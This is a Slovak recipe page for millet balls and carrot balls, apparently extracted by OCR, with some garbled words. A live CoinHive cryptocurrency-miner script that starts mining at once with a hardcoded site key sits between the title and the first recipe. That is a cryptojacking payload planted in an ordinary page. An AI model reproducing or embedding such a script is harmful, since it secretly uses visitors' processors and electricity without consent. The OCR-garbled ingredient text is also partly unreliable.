PSenové a mrkvové gulky

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();

Psenové gulky

Potrebujeme: 1 Salku pSena (uvareného vo vode), 150 g suSenych sliviek (rozmixovanych s
mandlovym mliekom na kasu), 80 g mletych pistacii (alebo inych orechov), 2 PL kokosu + na
obalovanie, med podfa potreby

Postup: VSetky suroviny zmieSame a potom tvarujeme gulky, ktoré obalujeme v kokosove;j
mucke.

Mrkvové gulky

Potrebujeme: 250 g postrihanej mrkvy, 100 g podrvenych piskét, 1 citrén (Stavu + kéru), 4 PL
mletych mandli, 1-2 PL cukru

Postup: Mrkvu s cukrom udusime do makka a nechame vychladndt. K vychladnutej mrkve
pridame piskoty, citrénovi kéru a citrénovi Stavu a dobre premieSame. Zo zmesi formujeme
gulky, ktoré obalime v mandliach alebo kokosovej mucke.
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